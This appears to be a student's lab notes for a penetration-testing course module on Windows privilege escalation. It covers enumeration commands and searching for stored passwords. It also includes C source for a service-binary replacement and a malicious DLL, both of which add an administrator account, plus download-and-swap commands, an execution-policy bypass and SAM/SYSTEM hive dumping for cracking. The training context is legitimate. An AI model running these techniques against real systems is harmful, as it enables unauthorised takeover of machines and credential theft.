Module 16: Windows Privilege Escalation

Enumerating Windows

Understanding Windows Privileges and Access Control Mechanisms

Built-in users and groups have a RID under 1000. These RIDs are known as well-known RIDs.

Standard users start at RID 1000.

Situational Awareness

Information to gather upon gaining access and how:

  • Username and hostname

    • whoami

  • Group memberships of the current user

    • whoami /groups

  • Existing users and groups

    • Users:

      • CMD: net user

      • Powershell: Get-LocalUser

    • Groups:

      • CMD: net localgroup

      • Powershell: Get-LocalGroup

    • Members of groups:

      • CMD: net localgroup <group_name>

      • Powershell: Get-LocalGroupMember <group_name>

  • Operating system, version and architecture

    • systeminfo

  • Network information

    • Network interfaces: ipconfig /all

    • Routing table: route print

    • Network connections: netstat -ano

  • Installed applications

    • 32-bit:

      • CMD: reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayName

      • Powershell: Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName

    • 64-bit:

      • CMD: reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayName

      • Powershell: Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName

  • Running processes

    • CMD: tasklist

    • Powershell: Get-Process

Hidden in Plain View

Basically look for .txt, .ini, .csv, etc. files that may have passwords stored... Get-ChildItem -Path C:\Users\ -File -Recurse -Include *.txt,*.ini,*.pdf,*.csv -ErrorAction SilentlyContinue

Information Goldmine PowerShell

Checking the History: Get-History

Finding the HistorySavePath: (Get-PSReadlineOption).HistorySavePath

Creating a PowerShell remoting sessions via WinRM in a bind shell can cause unexpected behavior. Due to this, use evil-winrm. evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"

Automated Enumeration

Using winPEAS (variations) found at: /usr/share/peass/winpeas/

Using Ghostpack's seatbelt:

LogoGitHub - r3motecontrol/Ghostpack-CompiledBinaries: Compiled Binaries for Ghostpack (.NET v4.0)GitHub

Leveraging Windows Services

Service Binary Hijacking

Querying services' Name, State, and PathName. Filter out services not Running:

Get-CimInstance -ClassName win32_service | select Name,State,PathName | Where-Object {$_.State -like 'Running'}

Permissions in the CLI:

Mask
Permissions

F

Full access

M

Modify access

RX

Read and execute access

R

Read-only access

W

Write-only access

Determining privileges on binaries associated with the services:

icacls "C:\xampp\apache\bin\httpd.exe"
icacls "C:\xampp\mysql\bin\mysqld.exe"

Assuming we found a binary with weak permissions. Let's replace it with a very basic executable. Starting with creating the .c file on Kali:

#include <stdlib.h>

int main()
{
    int i;
    
    i = system ("net user dave2 password123! /add");
    i = system ("net localgroup administrators dave2 /add");
    
    return 0;
}

Next, we'll cross-compile the code with mingw-64 since we know the target is 64-bit.

kali@kali:~$ x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Now we'll transfer the adduser.exe to the target and replace the original mysqld.exe with ours.

iwr -uri http://192.168.119.3/adduser.exe -Outfile adduser.exe
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
move adduser.exe C:\xampp\mysql\bin\mysqld.exe

Now that the binary is replaced, we need to have the service execute it.

PS C:\Users\dave> net stop mysql
System error 5 has occurred.

Access is denied.

Checking startmode of the server:

Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

Name  StartMode
----  ---------
mysql Auto

Do we have privileges required to reboot?

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeSecurityPrivilege           Manage auditing and security log     Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Our user has permission. Disabled vs. Enabled is only in the context of the running process. In this case, it means whoami has not requested/is not currently using the SeShutdownPrivilege privilege. Thus the privileges listed are what our user does have access to.

An automated tool like PowerUp.ps1 would have found the mysql service as well, though it would have run into issues if we tried using Install-ServiceBinary due to the code of PowerUp.ps1 having issues with a path included in the way our sql example was. Thus, don't always trust automated tools to cover every exploit.

Script execution may be blocked, bypass it:

powershell -ep bypass

PowerUp.ps1 can be found here: /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1

Using PowerUp.ps1:

PS C:\Users\steve> . .\PowerUp.ps1
PS C:\Users\steve> Get-ModifiableServiceFile
PS C:\Users\steve> Install-ServiceBinary -<options>

PS C:\Users\steve> Get-UnquotedService
PS C:\Users\steve> Write-ServiceBinary -Path <unquoted, vulnerable path> -<options>

DLL Hijacking

DLLs are searched in this order on current Windows versions due to safe DLL search mode:

  1. The directory from which the application loaded.

  2. The system directory.

  3. The 16-bit system directory.

  4. The Windows directory.

  5. The current directory.

  6. The directories that are listed in the PATH environment variable.

DLLs can have an optional entry point function named DllMain, which is executed when processes or threads attach the DLL.

We'll re-use the previous C code in our malicious DLL.

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user dave2 password123! /add");
  	    i = system ("net localgroup administrators dave2 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Cross-compile this code:

kali@kali:~$ x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll

Unquoted Service Paths

Enumerate running/stopped services: Get-CimInstance -ClassName win32_service | Select Name,State,PathName

Finding services with unquoted PathNames that are potentially vulnerable:

wmic service get name,pathname | findstr /i /v "C:\Windows\" | findstr /i /v """

Abusing Other Windows Components

Scheduled Tasks

Querying scheduled tasks:

schtasks /query /fo LIST /v

Check for the Run as User and the PathTask.

Using Exploits

Checking for security updates that may have patched vulnerabilities in the OS version found via systeminfo:

Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

The SeImpersonatePrivilege can potentially be abused to perform privilege escalation. This is commonly found as a privilege for users running an Internet Information Service (IIS) web server.

Capstone Lab notes: SeBackupPrivilege allows us to dump the reg\sam and reg\system for cracking via impacket-secretsdump -sam SAM -system SYSTEM LOCAL

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